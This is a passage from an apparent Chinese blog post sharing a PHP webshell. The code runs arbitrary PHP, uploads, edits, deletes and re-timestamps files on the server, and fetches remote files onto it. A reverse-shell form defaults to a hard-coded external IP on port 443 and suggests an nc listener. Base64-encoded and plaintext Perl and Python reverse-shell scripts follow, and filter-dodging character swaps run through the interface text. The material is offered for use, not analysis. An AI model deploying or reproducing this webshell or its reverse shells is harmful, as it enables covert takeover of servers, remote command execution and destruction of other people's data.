echo '<input type="hidden" name="action" id="action" value="3">';
echo '<div class="actall"><p><textarea name="phpcode" id="phpcode" style="width:698px;height:180px;">' . htmlspecialchars($phpcode) . '</textarea></p><p>';
echo '<input type="submit" style="width:80px;" value="执行"></p></div>';
echo '</form><div class="actall"><p><textarea id="evalcode" style="width:698px;height:180px;">' . htmlspecialchars($out) . '</textarea></p><p><input type="button" value="以HTML运行以上代码" onclick="runcode(\'evalcode\')"></p></div>';
break;
case "1":
if (!empty($_POST['backip']) && !empty($_POST['backport'])) {
$backip = $_POST['backip'];
$backport = $_POST['backport'];
$temp = $_POST['temp'] ? $_POST['temp'] : '/tmp';
$type = $_POST['type'];
$msg = backshell($backip, $backport, $temp, $type);
} else {
$backip = '222.73.219.91';
$backport = '443';
$temp = '/tmp';
$type = 'pl';
}
echo '<div class="msgbox">' . $msg . '</div>';
echo '<form method="POST">';
echo '<input type="hidden" name="action" id="action" value="1">';
echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
echo '<tr><td>反谈地址</td><td><input type="text" name="backip" style="width:268px;" value="' . $backip . '"> (Your ip)</td></tr>';
echo '<tr><td>反谈端口</td><td><input type="text" name="backport" style="width:268px;" value="' . $backport . '"> (nc -vvlp ' . $backport . ')</td></tr>';
echo '<tr><td>临时目录</td><td><input type="text" name="temp" style="width:268px;" value="' . $temp . '"> (Only Linux)</td></tr>';
echo '<tr><td>反谈方法</td><td>';
$types = array('pl' => 'Perl', 'py' => 'Python', 'pcntl' => 'Pcntl', 'php' => 'PHP', 'phpwin' => 'PHP-WS');
foreach ($types as $key => $name) {
echo '<label><input type="radio" name="type" value="' . $key . '"' . ($key == $type ? ' checked' : '') . '>' . $name . '</label> ';
}
echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="反谈"></td></tr>';
echo '</table></form>';
break;
case "edit":
case "editor":
$file = strdir($_POST["rsv_bp"] . '/' . $_POST["wd"]);
$iconv = function_exists('iconv');
if (!file_exists($file)) {
$msg = '【新建文贱】';
} else {
$code = filer($file);
$chst = '默认';
$size = size(filesize($file));
$msg = '【文贱属性 ' . substr(decoct(fileperms($file)), -4) . '】 【文贱大小 ' . $size . '】 【文贱编码 ' . $chst . '】';
}
echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"> - ' . $msg . '</div>';
echo '<form name="editfrm" id="editfrm" method="POST">';
echo '<input type="hidden" name="action" value=""><input type="hidden" name="act" id="act" value="edit">';
echo '<input type="hidden" name="rsv_t" id="rsv_t" value="' . dirname($file) . '">';
echo '<div class="actall">文贱 <input type="text" name="filename" value="' . $file . '" style="width:528px;"> ';
echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">' . htmlspecialchars($code) . '</textarea></div></form>';
echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="$(\'editfrm\').submit();" value="保存" style="width:80px;"> ';
echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="action" value=""><input type="hidden" name="rsv_t" id="rsv_t" value="' . dirname($file) . '">';
echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
break;
case "upfiles":
$updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST["rsv_bp"];
$msg = '【最大上船文贱 ' . get_cfg_var("upload_max_filesize") . '】 【POST最大提交数据 ' . get_cfg_var("post_max_size") . '】';
$max = 10;
if (isset($_FILES['uploads']) && isset($_POST['renames'])) {
$uploads = $_FILES['uploads'];
$msgs = array();
for ($i = 1; $i < $max; $i++) {
if ($uploads['error'][$i] == UPLOAD_ERR_OK) {
$rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i];
$filea = $uploads['tmp_name'][$i];
$fileb = strdir($updir . '/' . $rename);
$msgs[$i] = fileu($filea, $fileb) ? '<br><h2>上船成功 ' . $rename . '</h2>' : '<br><h1>上船失败 ' . $rename . '</h1>';
}
}
}
echo '<div class="msgbox">' . $msg . '</div>';
echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">';
echo '<input type="hidden" name="action" value="upfiles"><input type="hidden" name="act" id="act" value="upload">';
echo '<div class="actall"><p>上船到目录 <input type="text" name="updir" style="width:398px;" value="' . $updir . '"></p>';
for ($i = 1; $i < $max; $i++) {
echo '<p>附贱' . $i . ' <input type="file" name="uploads[' . $i . ']" style="width:300px;"> 重命名 <input type="text" name="renames[' . $i . ']" style="width:128px;"> ' . $msgs[$i] . '</p>';
}
echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="$(\'upsfrm\').submit();" value="上船" style="width:80px;"> ';
echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="action" value=""><input type="hidden" name="rsv_t" id="rsv_t" value="' . $updir . '">';
echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
break;
default:
if (isset($_FILES['upfile'])) {
if ($_FILES['upfile']['name'] == '') {
$msg = '<h1>请选择文贱</h1>';
} else {
$rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename'];
$filea = $_FILES['upfile']['tmp_name'];
$fileb = strdir($nowdir . $rename);
$msg = fileu($filea, $fileb) ? '<h2>上船文贱' . $rename . '成功</h2>' : '<h1>上船文贱' . $rename . '失败</h1>';
}
}
if (isset($_POST['act'])) {
switch ($_POST['act']) {
case "a":
if (!$_POST['files']) {
$msg = '<h1>请选择文贱 ' . $_POST['var'] . '</h1>';
} else {
$i = 0;
foreach ($_POST['files'] as $filename) {
$i += @copy(strdir($nowdir . $filename), strdir($_POST['var'] . '/' . $filename)) ? 1 : 0;
}
$msg = $msg = $i ? '<h2>共复制 ' . $i . ' 个文贱到' . $_POST['var'] . '成功</h2>' : '<h1>共复制 ' . $i . ' 个文贱到' . $_POST['var'] . '失败</h1>';
}
break;
case "b":
if (!$_POST['files']) {
$msg = '<h1>请选择文贱</h1>';
} else {
$i = 0;
foreach ($_POST['files'] as $filename) {
$i += @unlink(strdir($nowdir . $filename)) ? 1 : 0;
}
$msg = $i ? '<h2>共删 ' . $i . ' 个文贱成功</h2>' : '<h1>共删 ' . $i . ' 个文贱失败</h1>';
}
break;
case "c":
if (!$_POST['files']) {
$msg = '<h1>请选择文贱 ' . $_POST['var'] . '</h1>';
} elseif (!ereg("^[0-7]{4}$", $_POST['var'])) {
$msg = '<h1>属性值错误</h1>';
} else {
$i = 0;
foreach ($_POST['files'] as $filename) {
$i += @chmod(strdir($nowdir . $filename), base_convert($_POST['var'], 8, 10)) ? 1 : 0;
}
$msg = $i ? '<h2>共 ' . $i . ' 个文贱修改属性为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文贱修改属性为' . $_POST['var'] . '失败</h1>';
}
break;
case "d":
if (!$_POST['files']) {
$msg = '<h1>请选择文贱 ' . $_POST['var'] . '</h1>';
} elseif (!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/', $_POST['var'])) {
$msg = '<h1>时间格式错误 ' . $_POST['var'] . '</h1>';
} else {
$i = 0;
foreach ($_POST['files'] as $filename) {
$i += @touch(strdir($nowdir . $filename), strtotime($_POST['var'])) ? 1 : 0;
}
$msg = $i ? '<h2>共 ' . $i . ' 个文贱修改时间为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文贱修改时间为' . $_POST['var'] . '失败</h1>';
}
break;
case "e":
$path = strdir($nowdir . $_POST['var'] . '/');
if (file_exists($path)) {
$msg = '<h1>目录已存在 ' . $_POST['var'] . '</h1>';
} else {
$msg = @mkdir($path, 0777) ? '<h2>创建目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>创建目录 ' . $_POST['var'] . ' 失败</h1>';
}
break;
case "f":
$context = array('http' => array('timeout' => 30));
if (function_exists('stream_context_create')) {
$stream = stream_context_create($context);
}
$data = @file_get_contents($_POST['var'], false, $stream);
$filename = array_pop(explode('/', $_POST['var']));
if ($data) {
$msg = filew(strdir($nowdir . $filename), $data, 'wb') ? '<h2>下载 ' . $filename . ' 成功</h2>' : '<h1>下载 ' . $filename . ' 失败</h1>';
} else {
$msg = '<h1>下载失败或不支持下载</h1>';
}
break;
case "rf":
$files = explode('|x|', $_POST['var']);
if (count($files) != 2) {
$msg = '<h1>输入错误</h1>';
} else {
$msg = @rename(strdir($nowdir . $files[1]), strdir($nowdir . $files[0])) ? '<h2>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 成功</h2>' : '<h1>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 失败</h1>';
}
break;
case "pd":
$files = explode('|x|', $_POST['var']);
if (count($files) != 2) {
$msg = '<h1>输入错误</h1>';
} else {
$path = strdir($nowdir . $files[1]);
$msg = @chmod($path, base_convert($files[0], 8, 10)) ? '<h2>修改' . $files[1] . '属性为' . $files[0] . '成功</h2>' : '<h1>修改' . $files[1] . '属性为' . $files[0] . '失败</h1>';
}
break;
case "edit":
if (isset($_POST['filename']) && isset($_POST['filecode'])) {
if ($_POST['tostr'] == 'utf') {
$_POST['filecode'] = @iconv('GB2312//IGNORE', 'UTF-8', $_POST['filecode']);
}
$msg = filew($_POST['filename'], $_POST['filecode'], 'w') ? '<h2>保存成功 ' . $_POST['filename'] . '</h2>' : '<h1>保存失败 ' . $_POST['filename'] . '</h1>';
}
break;
case "deltree":
$deldir = strdir($nowdir . $_POST['var'] . '/');
if (!file_exists($deldir)) {
$msg = '<h1>目录 ' . $_POST['var'] . ' 不存在</h1>';
} else {
$msg = deltree($deldir) ? '<h2>删目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>删目录 ' . $_POST['var'] . ' 失败</h1>';
}
break;
}
}
$chmod = substr(decoct(fileperms($nowdir)), -4);
if (!$chmod) {
$msg .= ' - <h1>无法读取目录</h1>';
}
$array = showdir($nowdir);
$thisurl = strdir('/' . strtr($nowdir, array(ROOTDIR => '')) . '/');
$nowdir = strtr($nowdir, array('\'' => '%27', '"' => '%22'));
echo '<div class="msgbox">' . $msg . '</div>';
echo '<div class="actall"><form name="frm" id="frm" method="POST">';
echo (is_writable($nowdir) ? '<h2>路径</h2>' : '<h1>路径</h1>') . ' <input type="text" name="rsv_t" id="rsv_t" style="width:508px;" value="' . strdir($nowdir . '/') . '"> ';
echo '<input type="button" onclick="$(\'frm\').submit();" style="width:50px;" value="转到"> ';
echo '<input type="button" onclick="cd(\'' . ROOTDIR . '\');" style="width:68px;" value="根目录"> ';
echo '<input type="button" onclick="cd(\'' . THISDIR . '\');" style="width:68px;" value="程序目录"> ';
echo '</form></div><div class="actall">';
echo '<input type="button" value="贱立文贱" onclick="nf(\'edit\',\'newfile.php\');" style="width:68px;"> ';
echo '<input type="button" value="贱立目录" onclick="txts(\'目录名\',\'newdir\',\'e\');" style="width:68px;"> ';
echo '<input type="button" value="下栽文贱" onclick="txts(\'下载文贱到当前目录\',\'http://www.baidu.com/cmd.exe\',\'f\');" style="width:68px;"> ';
echo '<input type="button" value="批量上船" onclick="go(\'upfiles\',\'' . $nowdir . '\');" style="width:68px;"> ';
echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">';
echo '<input type="hidden" name="rsv_t" id="rsv_t" value="' . $nowdir . '">';
echo '<input type="file" name="upfile" style="width:286px;height:21px;"> ';
echo '<input type="button" onclick="$(\'upfrm\').submit();" value="上船" style="width:50px;"> ';
echo '上船重命名为 <input type="text" name="rename" style="width:128px;">';
echo '</form></div>';
echo '<form name="frm1" id="frm1" method="POST"><table class="tables">';
echo '<input type="hidden" name="rsv_t" id="rsv_t" value="' . $nowdir . '">';
echo '<input type="hidden" name="act" id="act" value="">';
echo '<input type="hidden" name="var" id="var" value="">';
echo '<th><a href="javascript:cd(\'' . dirname($nowdir) . '/\');">上级目录</a></th><th style="width:8%">操作</th><th style="width:5%">属性</th><th style="width:17%">创建时间</th><th style="width:17%">修改时间</th><th style="width:8%">下载</th>';
if ($array) {
asort($array['dir']);
asort($array['file']);
$dnum = $fnum = 0;
foreach ($array['dir'] as $path => $name) {
$prem = substr(decoct(fileperms($path)), -4);
$ctime = date('Y-m-d H:i:s', filectime($path));
$mtime = date('Y-m-d H:i:s', filemtime($path));
echo '<tr>';
echo '<td><a href="javascript:cd(\'' . $nowdir . $name . '\');"><b>' . strtr($name, array('%27' => '\'', '%22' => '"')) . '</b></a></td>';
echo '<td><a href="javascript:dels(\'' . $name . '\');">删</a> ';
echo '<a href="javascript:acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">重命名</a></td>';
echo '<td><a href="javascript:acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
echo '<td>' . $ctime . '</td>';
echo '<td>' . $mtime . '</td>';
echo '<td>-</td>';
echo '</tr>';
$dnum++;
}
foreach ($array['file'] as $path => $name) {
$prem = substr(decoct(fileperms($path)), -4);
$ctime = date('Y-m-d H:i:s', filectime($path));
$mtime = date('Y-m-d H:i:s', filemtime($path));
$size = size(filesize($path));
echo '<tr>';
echo '<td><input type="checkbox" name="files[]" value="' . $name . '"><a target="_blank" href="' . $thisurl . $name . '">' . strtr($name, array('%27' => '\'', '%22' => '"')) . '</a></td>';
echo '<td><a href="javascript:go(\'edit\',\'' . $name . '\');">编辑</a> ';
echo '<a href="javascript:acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">重命名</a></td>';
echo '<td><a href="javascript:acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
echo '<td>' . $ctime . '</td>';
echo '<td>' . $mtime . '</td>';
echo '<td align="right"><a href="javascript:go(\'down\',\'' . $name . '\');">' . $size . '</a></td>';
echo '</tr>';
$fnum++;
}
}
unset($array);
echo '</table>';
echo '<div class="actall" style="text-align:left;">';
echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> ';
echo '<input type="button" value="复制" style="width:50px;" onclick=\'txts("复制路径","' . $nowdir . '","a");\'> ';
echo '<input type="button" value="删" style="width:50px;" onclick=\'dels("b");\'> ';
echo '<input type="button" value="属性" style="width:50px;" onclick=\'txts("属性值","0666","c");\'> ';
echo '<input type="button" value="时间" style="width:50px;" onclick=\'txts("修改时间","' . $mtime . '","d");\'> ';
echo '目录[' . $dnum . '] - 文贱[' . $fnum . '] - 属性[' . $chmod . ']</div></form>';
break;
}

 

base64_decode字符

<?php
echo base64_decode( 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K');
echo base64_decode( 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg==');
echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHJ1bmNvZGUob2JqbmFtZSkge3ZhciB3aW5uYW1lID0gd2luZG93Lm9wZW4oJycsIl9ibGFuayIsJycpO3ZhciBvYmogPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmpuYW1lKTt3aW5uYW1lLmRvY3VtZW50Lm9wZW4oJ3RleHQvaHRtbCcsJ3JlcGxhY2UnKTt3aW5uYW1lLm9wZW5lciA9IG51bGw7d2lubmFtZS5kb2N1bWVudC53cml0ZShvYmoudmFsdWUpO3dpbm5hbWUuZG9jdW1lbnQuY2xvc2UoKTt9PC9zY3JpcHQ+');
?>

明文字符1

#!/usr/bin/perl -w
#
use strict;
use Socket;
use IO::Handle;
my $spider_ip = $ARGV[0];
my $spider_port = $ARGV[1];
my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($spider_port, inet_aton($spider_ip));
my $shell = '/bin/sh -i';
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
system($shell);
close SOCK;
exit 0; 

明文字符2

#!/usr/bin/python
#
import sys,os,socket,pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
os.dup2(s.fileno(), sys.stdin.fileno())
os.dup2(s.fileno(), sys.stdout.fileno())
os.dup2(s.fileno(), sys.stderr.fileno())
pty.spawn('/bin/sh') 

明文字符3

<script type="text/javascript">function runcode(objname) {var winname = window.open('',"_blank",'');var obj = document.getElementById(objname);winname.document.open('text/html','replace');winname.opener = null;winname.document.write(obj.value);winname.document.close();}</script> 

金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明超强PHPJM3加密PHP大马分享
喜欢 (1)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到
(1)个小伙伴在吐槽
  1. 这篇文章写得深入浅出,让我这个小白也看懂了!
    匿名2024-06-14 15:42 (5天前)回复